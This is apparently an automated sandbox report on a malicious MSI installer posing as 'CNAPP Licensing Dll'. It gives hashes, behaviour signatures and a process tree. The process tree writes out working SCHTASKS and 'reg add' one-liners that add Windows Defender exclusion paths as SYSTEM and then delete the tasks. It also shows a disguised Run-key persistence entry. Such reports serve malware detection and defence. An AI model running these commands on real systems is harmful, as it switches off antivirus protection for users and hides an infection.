Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
28/07/2026, 23:55
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Install_28n001.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
25 signatures
150 seconds
Behavioral task
behavioral2
Sample
Install_28n001.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target Install_28n001.msi
- Size 7.7MB
- Sample260728-3yya8scl21
- SHA256 04cb55def06575674baea096ecfa16bda68219b51c4dad924fbcc3f63c939706
- MD5 6cd2c49301c181ea69827c16758753bd
- SHA1 2065401f477d6b1fdfeb5a12c30c2fbf1b670aef
- SHA512 8dafb0a3dea106fcb020c151bfc909516a6dbe9b6dc0dec616d7f5e64e2af80f419c988a8f03b848b8fb24e1bf2254b1662e728fbb88c4f7218485d128116f16
- SSDEEP 196608:seAG43NM5TGvnbQvQ3DyB0gqqB9er7sR1hvBmSC0ETfnuI8KhonQWDY:nAGiNMwnbQvQTyhv92ALhve0ETWI8Khl
- TLSH T1F78633C2BCC133B0D597C3F48593A8BEBD687F45FA524C976AC478241E7322A2A76714
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\UiaERn = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation 2gylkQ.exe - Executes dropped EXE 1 IoCs
pid Process 3872 2gylkQ.exe - Loads dropped DLL 2 IoCs
pid Process 1940 MsiExec.exe 3872 2gylkQ.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\UiaERn\\2gylkQ.exe\"" 2gylkQ.exe - Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 31 1940 MsiExec.exe 33 1940 MsiExec.exe 62 1940 MsiExec.exe 63 1940 MsiExec.exe 68 1940 MsiExec.exe 85 1940 MsiExec.exe 87 1940 MsiExec.exe 90 1940 MsiExec.exe 94 1940 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2092 cmd.exe 1048 cmd.exe 2716 cmd.exe 2420 cmd.exe 2484 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b 2gylkQ.exe - Drops file in Program Files directory 2 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\narbjt 2gylkQ.exe File created C:\Program Files (x86)\narbjt\yh7Wuz.exe 2gylkQ.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{1A6C27A2-FA3D-F13A-46E4-B05FDEE281FB} msiexec.exe File opened for modification C:\Windows\Installer\MSI6F8F.tmp msiexec.exe File created C:\Windows\Installer\e586dbb.msi msiexec.exe File created C:\Windows\Installer\e586db9.msi msiexec.exe File opened for modification C:\Windows\Installer\e586db9.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI6EF1.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3616 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1708 cmd.exe 364 cmd.exe 3348 cmd.exe 4108 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000306421734df6c2060000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000306421730000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090030642173000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a30642173000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d30642173000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Version = "84017285" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\ProductName = "CNAPP Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\PackageCode = "016BFF8D9B3A9E745AC40687F3D0AD47" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\PackageName = "Install_28n001.msi" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3928 schtasks.exe 3720 schtasks.exe 1232 schtasks.exe 4492 schtasks.exe 2124 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4080 msiexec.exe 4080 msiexec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 1940 MsiExec.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe 3872 2gylkQ.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 660 Process not Found 660 Process not Found 660 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3616 msiexec.exe Token: SeIncreaseQuotaPrivilege 3616 msiexec.exe Token: SeSecurityPrivilege 4080 msiexec.exe Token: SeCreateTokenPrivilege 3616 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3616 msiexec.exe Token: SeLockMemoryPrivilege 3616 msiexec.exe Token: SeIncreaseQuotaPrivilege 3616 msiexec.exe Token: SeMachineAccountPrivilege 3616 msiexec.exe Token: SeTcbPrivilege 3616 msiexec.exe Token: SeSecurityPrivilege 3616 msiexec.exe Token: SeTakeOwnershipPrivilege 3616 msiexec.exe Token: SeLoadDriverPrivilege 3616 msiexec.exe Token: SeSystemProfilePrivilege 3616 msiexec.exe Token: SeSystemtimePrivilege 3616 msiexec.exe Token: SeProfSingleProcessPrivilege 3616 msiexec.exe Token: SeIncBasePriorityPrivilege 3616 msiexec.exe Token: SeCreatePagefilePrivilege 3616 msiexec.exe Token: SeCreatePermanentPrivilege 3616 msiexec.exe Token: SeBackupPrivilege 3616 msiexec.exe Token: SeRestorePrivilege 3616 msiexec.exe Token: SeShutdownPrivilege 3616 msiexec.exe Token: SeDebugPrivilege 3616 msiexec.exe Token: SeAuditPrivilege 3616 msiexec.exe Token: SeSystemEnvironmentPrivilege 3616 msiexec.exe Token: SeChangeNotifyPrivilege 3616 msiexec.exe Token: SeRemoteShutdownPrivilege 3616 msiexec.exe Token: SeUndockPrivilege 3616 msiexec.exe Token: SeSyncAgentPrivilege 3616 msiexec.exe Token: SeEnableDelegationPrivilege 3616 msiexec.exe Token: SeManageVolumePrivilege 3616 msiexec.exe Token: SeImpersonatePrivilege 3616 msiexec.exe Token: SeCreateGlobalPrivilege 3616 msiexec.exe Token: SeBackupPrivilege 2548 vssvc.exe Token: SeRestorePrivilege 2548 vssvc.exe Token: SeAuditPrivilege 2548 vssvc.exe Token: SeBackupPrivilege 4080 msiexec.exe Token: SeRestorePrivilege 4080 msiexec.exe Token: SeRestorePrivilege 4080 msiexec.exe Token: SeTakeOwnershipPrivilege 4080 msiexec.exe Token: SeRestorePrivilege 4080 msiexec.exe Token: SeTakeOwnershipPrivilege 4080 msiexec.exe Token: SeRestorePrivilege 4080 msiexec.exe Token: SeTakeOwnershipPrivilege 4080 msiexec.exe Token: SeBackupPrivilege 800 srtasks.exe Token: SeRestorePrivilege 800 srtasks.exe Token: SeSecurityPrivilege 800 srtasks.exe Token: SeTakeOwnershipPrivilege 800 srtasks.exe Token: SeBackupPrivilege 800 srtasks.exe Token: SeRestorePrivilege 800 srtasks.exe Token: SeSecurityPrivilege 800 srtasks.exe Token: SeTakeOwnershipPrivilege 800 srtasks.exe Token: SeRestorePrivilege 4080 msiexec.exe Token: SeTakeOwnershipPrivilege 4080 msiexec.exe Token: SeRestorePrivilege 4080 msiexec.exe Token: SeTakeOwnershipPrivilege 4080 msiexec.exe Token: SeRestorePrivilege 4080 msiexec.exe Token: SeTakeOwnershipPrivilege 4080 msiexec.exe Token: SeRestorePrivilege 4080 msiexec.exe Token: SeTakeOwnershipPrivilege 4080 msiexec.exe Token: SeRestorePrivilege 4080 msiexec.exe Token: SeTakeOwnershipPrivilege 4080 msiexec.exe Token: SeRestorePrivilege 4080 msiexec.exe Token: SeTakeOwnershipPrivilege 4080 msiexec.exe Token: SeRestorePrivilege 4080 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3616 msiexec.exe 3616 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 4080 wrote to memory of 800 4080 msiexec.exe 96 PID 4080 wrote to memory of 1940 4080 msiexec.exe 99 PID 3872 wrote to memory of 2716 3872 2gylkQ.exe 114 PID 2716 wrote to memory of 3720 2716 cmd.exe 116 PID 2716 wrote to memory of 4412 2716 cmd.exe 117 PID 2716 wrote to memory of 3384 2716 cmd.exe 120 PID 3872 wrote to memory of 2420 3872 2gylkQ.exe 123 PID 3348 wrote to memory of 3920 3348 cmd.exe 124 PID 2420 wrote to memory of 1232 2420 cmd.exe 126 PID 3872 wrote to memory of 2484 3872 2gylkQ.exe 127 PID 2420 wrote to memory of 3900 2420 cmd.exe 131 PID 2484 wrote to memory of 4492 2484 cmd.exe 130 PID 2420 wrote to memory of 988 2420 cmd.exe 133 PID 2484 wrote to memory of 2268 2484 cmd.exe 134 PID 2484 wrote to memory of 3044 2484 cmd.exe 136 PID 4108 wrote to memory of 2848 4108 cmd.exe 137 PID 3872 wrote to memory of 2092 3872 2gylkQ.exe 138 PID 2092 wrote to memory of 2124 2092 cmd.exe 140 PID 2092 wrote to memory of 3820 2092 cmd.exe 141 PID 2092 wrote to memory of 744 2092 cmd.exe 144 PID 1708 wrote to memory of 4420 1708 cmd.exe 145 PID 3872 wrote to memory of 1048 3872 2gylkQ.exe 146 PID 1048 wrote to memory of 3928 1048 cmd.exe 148 PID 1048 wrote to memory of 3720 1048 cmd.exe 150 PID 1048 wrote to memory of 3784 1048 cmd.exe 153 PID 364 wrote to memory of 3384 364 cmd.exe 154 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Install_28n001.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3616
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4080 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:800
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 668CA60E6BE7B2373F0BBABD26582C19 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1940
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2548
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C:\Users\Public\UiaERn\2gylkQ.exeC:\Users\Public\UiaERn\2gylkQ.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3872 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\UiaERn\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2716 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\UiaERn\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3720
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4412
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3384
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2420 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1232
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3900
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:988
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4492
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2268
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3044
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2124
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3820
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1048 -
